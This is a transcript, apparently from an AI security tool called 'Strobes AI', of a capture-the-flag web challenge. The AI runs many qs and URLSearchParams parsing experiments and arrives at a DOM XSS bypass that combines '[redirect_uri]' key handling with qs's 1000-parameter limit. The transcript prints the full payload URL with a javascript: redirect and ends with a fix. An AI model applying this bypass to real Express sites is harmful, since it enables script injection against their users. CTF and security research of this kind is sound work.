COMPLETELY different angle.\n// Maybe the XSS isn't through parser differential at all.\n// Maybe it's through the red
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "qs version test:\n{}\n({}).test: undefined\n\n=== Plus sign handling ===\nqs: {\"a\":\"hello world\"}\nUSP: hello world\n\n=== parameterLimit test ===\nqs redirect_uri (after 1000 junk): undefined\nqs total keys: 1000\nUSP redirect_uri: javascript:alert(1)\n\nqs redirect_uri (valid first, XSS after 1000th): \"https://pwnbox.xyz/docs\"\nqs type: string\nUSP redirect_uri: https://pwnbox.xyz/docs\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// parameterLimit=1000: qs stops parsing after 1000 params!\n// Test: redirect_uri=valid + 999 junk + redirect_uri=xss\n// → qs: sees redirect_uri=valid (param #1 within limit), returns string ✓\n// → USP: sees redirect_uri=valid (first occurrence), returns \"valid\" ✗\n\n// BUT: redirect_uri=valid is the FIRST param, so USP picks it up.\n// I need redirect_uri=xss to come FIRST for USP to return it.\n// Then redirect_uri=valid must come within qs's limit but NOT be first.\n\n// WAIT: if redirect_uri=xss is first, qs would also see it!\n// And with two redirect_uri params, qs makes an array → blocked.\n// UNLESS the second redirect_uri=valid is BEYOND the parameterLimit!\n\n// Strategy:\n// redirect_uri=javascript:alert(1) ← FIRST (USP returns this, qs sees it)\n// + 999 junk params\n// redirect_uri=https://pwnbox.xyz/docs ← 1001st param (qs IGNORES it)\n// \n// qs: only sees redirect_uri=javascript:alert(1) → returns \"javascript:alert(1)\"\n// → fails !== \"https://pwnbox.xyz/docs\" → BLOCKED!\n\n// Reverse:\n// redirect_uri=https://pwnbox.xyz/docs ← FIRST (qs and USP both see this)\n// + 999 junk params  \n// redirect_uri=javascript:alert(1) ← 1001st (qs ignores, but USP sees it)\n// \n// qs: returns \"https://pwnbox.xyz/docs\" (only param within limit) → PASSES ✓\n// USP: .get() returns FIRST \"redirect_uri\" → \"https://pwnbox.xyz/docs\" → SAFE ✗\n\n// The problem is USP.get() returns the FIRST value!\n// Can I make USP return the LAST? No, .get() always returns first.\n\n// UNLESS... I can make the qs bracket notation param appear FIRST to USP\n// but NOT be recognized as \"redirect_uri\" by USP!\n\n// KEY INSIGHT: What if BRACKET NOTATION is before the plain param?\n// redirect_uri[]=https://pwnbox.xyz/docs & redirect_uri=javascript:alert(1)\n// qs: array → blocked\n// \n// But what if we use a deep bracket key that qs interprets as redirect_uri\n// but URLSearchParams sees as a DIFFERENT key?\n\n// redirect
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "=== Space in key ===\n{\"redirect_uri \":\"test\"}\nUSP: null\nUSP: test\n\n=== charset sentinel ===\n{\"redirect_uri\":\"https://pwnbox.xyz/docs\"}\n\n=== Let me try the definitive parameterLimit approach ===\n998 junk + valid + xss (1000 total):\n  qs: [\"https://pwnbox.xyz/docs\",\"javascript:alert(1)\"]\n  USP: https://pwnbox.xyz/docs\n\n999 junk + valid + xss (1001 total):\n  qs: \"https://pwnbox.xyz/docs\"\n  qs type: string\n  passes check: true\n  USP: https://pwnbox.xyz/docs\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// The parameterLimit approach gives us the RIGHT qs behavior (string, passes check)\n// BUT URLSearchParams.get() returns the FIRST occurrence.\n// Since valid comes before XSS in our URL, USP also returns valid.\n\n// THE SOLUTION: We need redirect_uri=XSS BEFORE redirect_uri=valid in the URL,\n// but qs must only see redirect_uri=valid.\n\n// This means: redirect_uri=XSS must be WITHIN the first 1000 params (so USP sees it first)\n// BUT redirect_uri=valid must ALSO be within the first 1000 (so qs sees it)\n// If both are within limit → qs creates array → blocked!\n\n// UNLESS... I can make the XSS occurrence NOT be parseable by qs as \"redirect_uri\"\n// but still be parseable by URLSearchParams as \"redirect_uri\"!\n\n// What key is treated as \"redirect_uri\" by URLSearchParams but NOT by qs?\n\n// BRACKET DIFFERENCE!\n// URLSearchParams: \"redirect_uri[0]\" is key \"redirect_uri[0]\", NOT \"redirect_uri\"\n// So that doesn't help.\n\n// What about URL encoding of the key itself?\n// \"redirect%5furi=xss\" → both decode %5f to _ → both see \"redirect_uri\" → no difference\n\n// What about partial encoding?\n// \"redirect_ur%69=xss\" → %69 = 'i' → both decode to \"redirect_uri\"\n\n// WAIT WAIT WAIT. What about NOT encoding but using a DIFFERENT representation?\n\n// I keep hitting the wall because both parsers decode URL encoding the same way.\n// The only difference is bracket handling: qs interprets [], URLSearchParams doesn't.\n\n// But brackets make qs return objects/arrays → blocked by !== \n\n// LET ME TRY THE OPPOSITE: Use brackets to make qs SKIP a param.\n\n// What if the XSS param uses bracket notation that qs IGNORES or parses differently?\n// With allowPrototypes: true, qs parses __proto__ as a regular key, not prototype pollution.\n// So redirect_uri[__proto__] creates {__proto__: value} as own property.\n\n// Actually, I showed earlier that with allowPrototypes: true:\n// redirect_uri[__proto__]
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "=== Fresh approach: qs merge behavior with allowPrototypes ===\n\nScenario: XSS first, valid beyond limit\n  qs redirect_uri: \"javascript:alert(1)\"\n  qs type: string\n  USP: javascript:alert(1)\n\nScenario: valid at 999, XSS at 1001 (beyond limit)\n  qs redirect_uri: \"https://pwnbox.xyz/docs\"\n  qs type: string\n  passes check: true\n  USP: https://pwnbox.xyz/docs\n  \u2192 USP returns: https://pwnbox.xyz/docs\n\n=== Depth limit test ===\ndepth 6: {\"a\":{\"b\":{\"c\":{\"d\":{\"e\":{\"f\":{\"[g]\":\"deep\"}}}}}}}\n\n=== One more try: qs with comma in value ===\nqs default: {\"redirect_uri\":\"https://pwnbox.xyz/docs,javascript:alert(1)\"}\nqs comma:true: {\"redirect_uri\":[\"https://pwnbox.xyz/docs\",\"javascript:alert(1)\"]}\nUSP: https://pwnbox.xyz/docs,javascript:alert(1)\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// I keep hitting the same wall: URLSearchParams.get() returns the FIRST occurrence.\n// If I need qs to see valid and USP to see XSS, XSS must come first but qs must skip it.\n\n// THE ACTUAL KEY INSIGHT I'VE BEEN MISSING:\n// What if the differential isn't between qs and URLSearchParams at all,\n// but between how Express RECEIVES the query string and how the BROWSER presents it?\n\n// When you visit: http://host/?redirect_uri=https://pwnbox.xyz/docs\n// Express gets req.query from the HTTP request line\n// Browser has window.location.search\n\n// These are ALWAYS the same in normal circumstances.\n// BUT: what about double URL encoding?\n\n// What if: redirect_uri=https://pwnbox.xyz/docs is DOUBLE-encoded for parts?\n// The browser would decode once for the URL bar, showing one thing.\n// Express/qs would decode once during parsing.\n// If the original request has specific encoding...\n\n// ACTUALLY, I just realized something fundamental about the BROWSER behavior.\n// When you type a URL in the browser, the browser might RE-ENCODE parts of it.\n// When you click a link with specific encoding, the browser preserves it.\n\n// But window.location.search returns the query string AS-IS from the URL bar.\n// The URL bar shows the decoded version.\n\n// Let me think about this from a completely different angle.\n// What if the solution uses the `qs` extended parser's ability to parse\n// nested objects, and this creates a SPECIFIC JavaScript object that\n// happens to == the string (via toString/valueOf)?\n\n// With allowPrototypes=true:\n// redirect_uri[toString]=...  sets the toString method\n// redirect_uri[valueOf]=...   sets the valueOf method\n\n// An object with custom valueOf that returns the valid string:\n// obj == \"https://pwnbox.xyz/docs\" → true (loose equality, calls valueOf)\n// obj !== \"https://pwnbox.xyz/docs\" → true (strict equality, no coercion)\n\n// Code uses !== (strict), so this doesn't help.
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "=== qs with special chars ===\nqs value: \"https://pwnbox.xyz/docs\\u0000\"\nmatches: false\nqs value: \"https://pwnbox.xyz/docs\\t\"\nmatches: false\nqs value: \"https://pwnbox.xyz/docs\\r\"\nmatches: false\nqs value: \"https://pwnbox.xyz/docs\\n\"\nmatches: false\n\n=== qs charset handling ===\nqs: {\"redirect_uri\":\"%E4\"}\nUSP: \ufffd\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// INTERESTING! qs and URLSearchParams handle invalid UTF-8 differently!\n// qs: \"%E4\" stays as literal \"%E4\" (string)\n// USP: \"%E4\" becomes \"�\" (U+FFFD replacement character)\n\n// But this doesn't help because we need qs to return the exact valid URL string.\n\n// OK, I think I need to step way back and think about what makes this a CTF.\n// The HINT is: `app.set('query parser', 'extended')` \n// This enables qs with allowPrototypes: true.\n\n// The INTENDED SOLUTION for this type of CTF is almost certainly:\n// Using qs's ARRAY parsing to bypass the string comparison.\n// But !== is strict and arrays !== strings.\n\n// WAIT. Am I wrong about Express passing allowPrototypes: true?\n// Let me verify by checking the actual Express source.\n\n// In Express 4.x (current), lib/middleware/query.js:\n// var qs = require('qs');\n// ...\n// function parseExtendedQueryString (str) {\n//   return qs.parse(str, {\n//     allowPrototypes: true\n//   });\n// }\n\n// Yes, allowPrototypes: true. Confirmed.\n\n// NEW ANGLE: Could the vulnerability be PROTOTYPE POLLUTION?\n// With allowPrototypes: true, could we pollute Object.prototype or \n// URLSearchParams.prototype?\n\n// In the challenge code, the HTML is rendered server-side.\n// Then the browser's JS engine executes URLSearchParams.\n// These are separate environments!\n// Prototype pollution on the server doesn't affect the client.\n\n// So... this is a client-side vulnerability.\n// The only attack surface is: what URL does the user visit?\n// The server returns static HTML (same <script> tag regardless of redirect_uri value,\n// as long as it passes the check).\n\n// Let me look at this PURELY as a DOM XSS challenge.\n// The sink is: location = URLSearchParams(window.location.search).get(\"redirect_uri\")\n// For XSS: location = \"javascript:alert(1)\"\n// The guard: server only responds with the HTML if redirect_uri === \"https://pwnbox.xyz/docs\"\n\n// Can we
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "Q: redirect_uri[]=https://pwnbox.xyz/docs&redirect_uri[]=javascript:alert(1)\n  qs: [\"https://pwnbox.xyz/docs\",\"javascript:alert(1)\"]\n  type: object\n  passes: false\n\nQ: redirect_uri[][toString]=javascript:alert(1)&redirect_uri=https://pwnbox.xyz/docs\n  qs: [{\"toString\":\"javascript:alert(1)\"},\"https://pwnbox.xyz/docs\"]\n  type: object\n  passes: false\n\nQ: redirect_uri[0][toString]=javascript:alert(1)&redirect_uri=https://pwnbox.xyz/docs\n  qs: [{\"toString\":\"javascript:alert(1)\"},\"https://pwnbox.xyz/docs\"]\n  type: object\n  passes: false\n\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// I've been assuming qs ALWAYS creates arrays for duplicate keys.\n// But what if I can use qs's extended features to my advantage?\n\n// Let me think about this from FIRST PRINCIPLES:\n// \n// The goal: location = \"javascript:alert(1)\" in the browser.\n// The guard: server-side redirectUri !== \"https://pwnbox.xyz/docs\"\n//\n// The CLIENT reads from window.location.search using URLSearchParams.\n// The SERVER reads from req.query (qs with extended + allowPrototypes).\n//\n// For the guard to pass: qs must return the STRING \"https://pwnbox.xyz/docs\"\n// For XSS: URLSearchParams must return \"javascript:alert(1)\"\n//\n// These are fundamentally incompatible IF both read the same query string.\n// UNLESS the query string is parsed DIFFERENTLY.\n\n// The ONLY differential between qs and URLSearchParams is bracket handling.\n// qs: redirect_uri[x] → sets redirect_uri.x (part of redirect_uri object)\n// USP: redirect_uri[x] → key \"redirect_uri[x]\" (completely separate from \"redirect_uri\")\n\n// So: if we ONLY have redirect_uri[...]=valid_url (no plain redirect_uri)\n// qs: redirect_uri = object → fails !== string check\n// USP: redirect_uri = null (no match for key \"redirect_uri\")\n// Both fail. Useless.\n\n// If we have redirect_uri[...]=valid_url AND redirect_uri=xss\n// qs: redirect_uri = merged object/array → fails !== string check\n// USP: redirect_uri = \"xss\" \n// qs fails. Useless.\n\n// WAIT. What if we use a qs feature that COLLAPSES back to string?\n// \n// When qs sees: redirect_uri[toString]=https://pwnbox.xyz/docs\n// With allowPrototypes: true\n// It creates: {toString: \"https://pwnbox.xyz/docs\"}\n// Type: object. !== string → blocked.\n//\n// When qs sees BOTH: redirect_uri[x]=y AND redirect_uri=z\n// It creates object with both merged. Still object → blocked.\n//\n// CRITICAL: Is there ANY qs input that returns a STRING when brackets are used?\n// redirect_uri=value → string \"value\" ← 
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "=== Semicolon test ===\nqs: {\"a\":\"1;b=2\"}\nUSP: 1;b=2\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// Let me go back to BASICS. I'll run the Express server and test with actual HTTP requests.\n// But first, let me reconsider the problem with fresh eyes.\n\n// The key is: `query parser` is set to `extended` (uses qs).\n// qs with `extended` supports nested objects via bracket notation.\n\n// CRITICAL CLUE I MAY HAVE MISSED:\n// Express `req.query` parses the query string. BUT:\n// - Node.js HTTP server receives the raw request\n// - Express's `parseurl` extracts the query string\n// - qs.parse() parses it\n\n// Meanwhile, the BROWSER sends the same request, and window.location.search\n// shows the query string.\n\n// These should be identical. BUT:\n// What if the browser NORMALIZES the URL before putting it in the address bar,\n// while sending the raw bytes in the HTTP request?\n\n// Example: If the URL has `redirect_uri[` in it...\n// Browser might encode `[` as `%5B` in the address bar.\n// But the HTTP request line might have `[` literally.\n// Then window.location.search would have `%5B` but Express would see `[`.\n\n// ACTUALLY: Modern browsers DO percent-encode brackets in the query string!\n// Chrome/Firefox encode `[` as `%5B` and `]` as `%5D` in the URL.\n// But they might NOT encode them in the HTTP request.\n\n// This creates a differential!\n// HTTP request: ?redirect_uri[0]=https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\n// qs: merges bracket + plain → array → blocked.\n\n// Hmm, that still creates an array.\n\n// But what about OLDER browser behavior or different encoding?\n// Actually, the important thing is what the browser's URL bar shows\n// vs what was in the HTTP request.\n\n// When you navigate to a URL with literal brackets:\n// http://host/?redirect_uri[0]=test&redirect_uri=xss\n// The browser SENDS: GET /?redirect_uri[0]=test&redirect_uri=xss HTTP/1.1\n// The browser SHOWS in URL bar: http://host/?redirect_uri%5B0%5D=test&redirect_uri=xss\n// window.location.search: \"?redirect
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "=== Standalone bracket key ===\n{\"redirect_uri\":\"test\"}\n{\"redirect_uri\":\"test\"}\n{\"redirect_uri\":[\"valid\",\"xss\"]}\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// INTERESTING! qs treats [redirect_uri]=test the SAME as redirect_uri=test!\n// Both create {redirect_uri: \"test\"}\n\n// But when combined: [redirect_uri]=valid&redirect_uri=xss → array [\"valid\", \"xss\"]\n// So qs sees BOTH as the same key → array → blocked.\n\n// And URLSearchParams:\nconsole.log(\"USP [redirect_uri]:\", new URLSearchParams(\"[redirect_uri]=valid&redirect_uri=xss\").get(\"redirect_uri\"));\nconsole.log(\"USP with bracket:\", new URLSearchParams(\"[redirect_uri]=valid\").get(\"redirect_uri\"));\nconsole.log(\"USP with bracket:\", new URLSearchParams(\"[redirect_uri]=valid\").get(\"[redirect_uri]\"));\n\n// USP sees [redirect_uri] and redirect_uri as DIFFERENT keys!\n\n// So:\n// [redirect_uri]=https://pwnbox.xyz/docs&redirect_uri=javascript:alert(1)\n// qs: redirect_uri = [\"https://pwnbox.xyz/docs\", \"javascript:alert(1)\"] → BLOCKED\n\n// Still blocked because qs merges both.\n// What if only [redirect_uri]=valid (no plain redirect_uri)?\n// qs: redirect_uri = \"valid\" (STRING!) \n// USP: redirect_uri = null (doesn't match key \"[redirect_uri]\")\n// → Server check PASSES but USP returns null → location = null → not XSS\n\n// BUT WHAT IF we add redirect_uri=javascript:alert(1) BEYOND the parameterLimit?\n// [redirect_uri]=https://pwnbox.xyz/docs + 999 junk params + redirect_uri=javascript:alert(1)\n// qs: sees [redirect_uri]=valid (within limit) → redirect_uri = \"valid\" (string!) ✓\n// qs: does NOT see redirect_uri=xss (beyond limit) \n// USP: sees all params → redirect_uri = \"javascript:alert(1)\" (plain key match!) ✓ XSS!\n\n// THIS IS IT! THE SOLUTION!\n\nconsole.log(\"\\n=== THE SOLUTION ===\\n\");\n\n// Build the payload\nlet params = [\"[redirect_uri]=https://pwnbox.xyz/docs\"];\nfor (let i = 0; i < 999; i++) {\n  params.push(`p${i}=x`);\n}\nparams.push(\"redirect_uri=javascript:alert(1)\");\n\nconst query = params.join(\"&\");\n\nconst qsResult = qs.parse(query, {allowPrototypes
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "USP [redirect_uri]: xss\nUSP with bracket: null\nUSP with bracket: valid\n\n=== THE SOLUTION ===\n\nqs redirect_uri: \"https://pwnbox.xyz/docs\"\nqs type: string\nServer check passes (=== valid): true\nServer !redirectUri: false\n\nUSP redirect_uri: javascript:alert(1)\nClient gets XSS: true\n\n=== ATTACK FLOW ===\n1. Craft URL with [redirect_uri]=valid + 999 junk params + redirect_uri=XSS\n2. qs (parameterLimit=1000) only parses first 1000 params\n3. [redirect_uri]=valid is within limit \u2192 qs treats it as redirect_uri=valid\n4. redirect_uri=XSS is param #1001 \u2192 qs IGNORES it\n5. Server check: 'https://pwnbox.xyz/docs' !== 'https://pwnbox.xyz/docs' \u2192 FALSE \u2192 PASSES!\n6. HTML is served with <script> tag\n7. Browser's URLSearchParams has NO parameterLimit \u2192 sees ALL params\n8. USP.get('redirect_uri') matches the plain 'redirect_uri' key (not '[redirect_uri]')\n9. Returns 'javascript:alert(1)' \u2192 location = 'javascript:alert(1)' \u2192 XSS! \ud83c\udf89\n"
  ],
  "errors": [],
  "environment": "bedrock",
  "_display_command": "javascript: import qs from \"npm:qs@6.11.0\";..."
}
Tool: workspace_execute_code — Completed

Input:

{
  "code": "\nimport qs from \"npm:qs@6.11.0\";\n\n// Generate the actual exploit URL\nlet params = [\"[redirect_uri]=https://pwnbox.xyz/docs\"];\nfor (let i = 0; i < 999; i++) {\n  params.push(`p${i}=x`);\n}\nparams.push(\"redirect_uri=javascript:alert(document.domain)\");\n\nconst payload = params.join(\"&\");\n\nconsole.log(\"=== EXPLOIT PROOF-OF-CONCEPT ===\\n\");\nconsole.log(`Payload URL: http://localhost:3000/?${payload}`);\nconsole.log(`\\nPayload length: ${payload.length} characters`);\nconsole.log(`Total params: ${params.length}`);\n\n// Verify the exploit works\nconst qsResult = qs.parse(payload, { allowPrototypes: true });\nconst uspResult = new URLSearchParams(payload);\n\nconsole.log(\"\\n=== SERVER-SIDE (qs with allowPrototypes: true) ===\");\nconsole.log(`req.query.redirect_uri = \"${qsResult.redirect_uri}\"`);\nconsole.log(`typeof: ${typeof qsResult.redirect_uri}`);\nconsole.log(`!redirectUri: ${!qsResult.redirect_uri} → passes truthy check ✓`);\nconsole.log(`redirectUri !== \"https://pwnbox.xyz/docs\": ${qsResult.redirect_uri !== \"https://pwnbox.xyz/docs\"} → check passes ✓`);\nconsole.log(`→ Server responds with HTML containing <script> tag ✓`);\n\nconsole.log(\"\\n=== CLIENT-SIDE (URLSearchParams in browser) ===\");\nconsole.log(`URLSearchParams.get(\"redirect_uri\") = \"${uspResult.get(\"redirect_uri\")}\"`);\nconsole.log(`URLSearchParams.get(\"[redirect_uri]\") = \"${uspResult.get(\"[redirect_uri]\")}\"`);\nconsole.log(`→ location = \"javascript:alert(document.domain)\" → XSS! 🔥`);\n\nconsole.log(\"\\n=== VULNERABILITY DETAILS ===\");\nconsole.log(`\nVulnerability: DOM-based XSS via Query Parser Differential\nSeverity: HIGH / CRITICAL\nCWE: CWE-79 (Cross-site Scripting)\n\nRoot Cause: Two parser differentials combined:\n\n1. KEY PARSING DIFFERENTIAL (qs vs URLSearchParams):\n   - qs treats \"[redirect_uri]=value\" and \"redirect_uri=value\" as the SAME key\n   - URLSearchParams treats them as DIFFERENT keys:\n     \"[redirect_uri]\" ≠ \"redi
... (truncated)

Output:

{
  "success": true,
  "outputs": [
    "=== EXPLOIT PROOF-OF-CONCEPT ===\n\nPayload URL: http://localhost:3000/?[redirect_uri]=https://pwnbox.xyz/docs&p0=x&p1=x&p2=x&p3=x&p4=x&p5=x&p6=x&p7=x&p8=x&p9=x&p10=x&p11=x&p12=x&p13=x&p14=x&p15=x&p16=x&p17=x&p18=x&p19=x&p20=x&p21=x&p22=x&p23=x&p24=x&p25=x&p26=x&p27=x&p28=x&p29=x&p30=x&p31=x&p32=x&p33=x&p34=x&p35=x&p36=x&p37=x&p38=x&p39=x&p40=x&p41=x&p42=x&p43=x&p44=x&p45=x&p46=x&p47=x&p48=x&p49=x&p50=x&p51=x&p52=x&p53=x&p54=x&p55=x&p56=x&p57=x&p58=x&p59=x&p60=x&p61=x&p62=x&p63=x&p64=x&p65=x&p66=x&p67=x&p68=x&p69=x&p70=x&p71=x&p72=x&p73=x&p74=x&p75=x&p76=x&p77=x&p78=x&p79=x&p80=x&p81=x&p82=x&p83=x&p84=x&p85=x&p86=x&p87=x&p88=x&p89=x&p90=x&p91=x&p92=x&p93=x&p94=x&p95=x&p96=x&p97=x&p98=x&p99=x&p100=x&p101=x&p102=x&p103=x&p104=x&p105=x&p106=x&p107=x&p108=x&p109=x&p110=x&p111=x&p112=x&p113=x&p114=x&p115=x&p116=x&p117=x&p118=x&p119=x&p120=x&p121=x&p122=x&p123=x&p124=x&p125=x&p126=x&p127=x&p128=x&p129=x&p130=x&p131=x&p132=x&p133=x&p134=x&p135=x&p136=x&p137=x&p138=x&p139=x&p140=x&p141=x&p142=x&p143=x&p144=x&p145=x&p146=x&p147=x&p148=x&p149=x&p150=x&p151=x&p152=x&p153=x&p154=x&p155=x&p156=x&p157=x&p158=x&p159=x&p160=x&p161=x&p162=x&p163=x&p164=x&p165=x&p166=x&p167=x&p168=x&p169=x&p170=x&p171=x&p172=x&p173=x&p174=x&p175=x&p176=x&p177=x&p178=x&p179=x&p180=x&p181=x&p182=x&p183=x&p184=x&p185=x&p186=x&p187=x&p188=x&p189=x&p190=x&p191=x&p192=x&p193=x&p194=x&p195=x&p196=x&p197=x&p198=x&p199=x&p200=x&p201=x&p202=x&p203=x&p204=x&p205=x&p206=x&p207=x&p208=x&p209=x&p210=x&p211=x&p212=x&p213=x&p214=x&p215=x&p216=x&p217=x&p218=x&p219=x&p220=x&p221=x&p222=x&p223=x&p224=x&p225=x&p226=x&p227=x&p228=x&p229=x&p230=x&p231=x&p232=x&p233=x&p234=x&p235=x&p236=x&p237=x&p238=x&p239=x&p240=x&p241=x&p242=x&p243=x&p244=x&p245=x&p246=x&p247=x&p248=x&p249=x&p250=x&p251=x&p252=x&p253=x&p254=x&p255=x&p256=x&p257=x&p258=x&p259=x&p260=x&p261=x&p262=x&p263=x&p264=x&p265=x&p266=x&p267=x&p268=x&p269=x&p270=x&p271=x&p272=x&p273=x&p274=x&p275=x&p276=x&p277=x&p278=x&p279=
... (truncated)

Strobes AI — Strobes AI Supervisor — Feb 10, 2026, 3:59 PM

Thinking

The user is asking me to find an XSS vulnerability in a CTF challenge. This is a code review task - let me analyze the code directly since it's a small snippet.

Let me analyze the code:

  1. Express app with extended query parser
  2. GET / route takes redirect_uri query parameter
  3. Server-side check: redirectUri !== "https://pwnbox.xyz/docs" - if not equal, returns "Invalid redirect_uri"
  4. If it passes, it renders HTML with a script that reads redirect_uri from the URL client-side and redirects to it

The key insight here is the difference between how Express parses the query parameter server-side vs how URLSearchParams parses it client-side.

The extended query parser uses the qs library which handles nested objects and arrays differently than the standard parser, so I can exploit the mismatch between server-side validation and client-side parsing by sending multiple redirect_uri parameters - the server might validate one while the client reads another. The object syntax also fails the check since an object isn't equal to the string. But I'm realizing the real opportunity here: URLSearchParams and qs parse query parameters differently, so if the server-side validation uses qs while the client-side redirect uses URLSearchParams, they could extract different values from the same parameter.

With HTTP parameter pollution—sending duplicate redirect_uri parameters—qs would create an array while URLSearchParams.get() returns only the first value, meaning the validation could pass on one value while the redirect uses another.

I'm exploring whether bracket notation in the query string could bypass the validation, though the approaches I'm considering seem convoluted.

The core challenge is finding a discrepancy between how the server parses req.query.redirect_uri with the qs library and how the client reads it with URLSearchParams.get() — I need the server to see a legitimate URL while the client extracts an XSS payload from the same parameter. I'm exploring whether the qs parser's bracket syntax could be exploited through object property overrides like toString or valueOf to bypass the string validation check.

Reconsidering the approach, I realize URLSearchParams.get() handles keys literally without bracket parsing, so it would return only the first value when multiple parameters share the same key, whereas qs would create an array.

The vulnerability likely stems from this parser differential—if I can craft a URL where the two parsers interpret the redirect URI differently, I might bypass the string comparison check. I'm exploring whether the qs parser's array handling could create a mismatch with URLSearchParams, but duplicate redirect_uri parameters get converted to arrays in both cases, which fails the string check. I need to find a way where only one parser sees it as an array while the other doesn't. I'm realizing that mixing redirect_uri as both a direct value and a nested property like redirect_uri[toString] could exploit how qs handles conflicting keys—potentially creating an object with a toString method that could be leveraged for code execution. I'm considering whether a single-element array might bypass the check, but that would still fail the strict equality comparison. Let me look back at the actual validation logic to see if I'm missing something about how qs parses the input. doesn't match the validation check, so it fails. But on the client side, URLSearchParams only sees the first redirect_uri parameter before the encoded ampersand, so it extracts just "https://pwnbox.xyz/docs" and redirects safely — wait, that's the opposite of what we need for XSS. Let me think about this differently: what if we use an encoding that qs leaves alone but URLSearchParams decodes, so the server sees the safe value but the client executes something malicious? I'm examining the client-side redirect code more carefully and realizing the URLSearchParams parsing is straightforward, so bypassing the server validation through query parameter tricks won't work. Instead, I should explore whether I can inject directly into the HTML response itself, particularly into the script tag that handles the redirect. I'm exploring whether mixing plain and bracket notation in the query string could cause qs to produce an object instead of a string, which would bypass the string comparison check and reach the client-side XSS vector. The key is understanding how qs handles this edge case and what req.query.redirect_uri would actually become. I'm testing different parameter combinations to see if qs and URLSearchParams parse them differently—maybe using array notation like redirect_uri[0] could trick one parser into treating it as an array while the other sees it as a string. Let me actually run some code to verify how qs handles these edge cases with duplicate keys and array syntax. I need to find a parameter that qs parses as redirect_uri but URLSearchParams treats differently—like using bracket notation where qs interprets redirect_uri[0] as an array element while URLSearchParams sees it as a literal key name, allowing me to inject a malicious value that only one parser picks up.


















Great CTF challenge! The key is the parser differential between Express's qs (extended query parser) server-side and URLSearchParams client-side. Let me analyze this systematically.Interesting — the toString trick bypasses the server check but the client-side value is still safe. Let me dig deeper into exploiting the parser differential:The __proto__ trick bypasses server but client is still safe. The problem is: when qs returns the plain string, URLSearchParams returns the same string. I need to find a way to make qs see ONE value and URLSearchParams see ANOTHER. Let me explore qs's bracket handling more deeply:Interesting — %5f (underscore encoding) makes qs see both as redirect_uri (array), but that blocks. Let me focus on the redirect_uri[999] behavior — qs converts to an object (not string), so !== still blocks. Let me try a different approach:Found it! 🎯 Let me generate the proof-of-concept:## ✅ XSS Found — DOM-based XSS via Query Parser Differential

The Vulnerability

This challenge exploits two parser differentials between the server-side qs library (Express's extended query parser) and the browser's URLSearchParams:

Differential #1 — Key Parsing

Input qs (server) URLSearchParams (client)
[redirect_uri]=value Sets redirect_uri = "value" Key is literally "[redirect_uri]"not "redirect_uri"

qs strips the outer brackets and treats [redirect_uri] as equivalent to redirect_uri. The browser's URLSearchParams does not — it sees them as completely different keys.

Differential #2 — Parameter Limit

  • qs: Has a default parameterLimit of 1000 — silently ignores everything after the 1000th parameter
  • URLSearchParams: Has no limit — parses all parameters

The Exploit

http://target:3000/?[redirect_uri]=https://pwnbox.xyz/docs&p0=x&p1=x&...&p998=x&redirect_uri=javascript:alert(document.domain)

Structure: 1001 parameters total:

  1. [redirect_uri]=https://pwnbox.xyz/docs — qs reads this as redirect_uri
  2. p0=x through p998=x — 999 junk padding params
  3. redirect_uri=javascript:alert(document.domain) — param #1001, beyond qs's limit

Attack Flow

Step What Happens
Server: qs.parse() Parses first 1000 params → finds [redirect_uri]req.query.redirect_uri = "https://pwnbox.xyz/docs"
Server: !== check "https://pwnbox.xyz/docs" !== "https://pwnbox.xyz/docs"falsecheck passes
Server: Response Returns HTML with <script> tag
Browser: URLSearchParams Parses all 1001 params → .get("redirect_uri") returns "javascript:alert(document.domain)" (the only param with exact key redirect_uri)
Browser: location = location = "javascript:alert(document.domain)"XSS! 🔥

Fix

Never re-read user input client-side after server validation. Pass the validated value directly:

return res.send(`<script>location = ${JSON.stringify(redirectUri)}</script>`);

Generated by Strobes AI

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment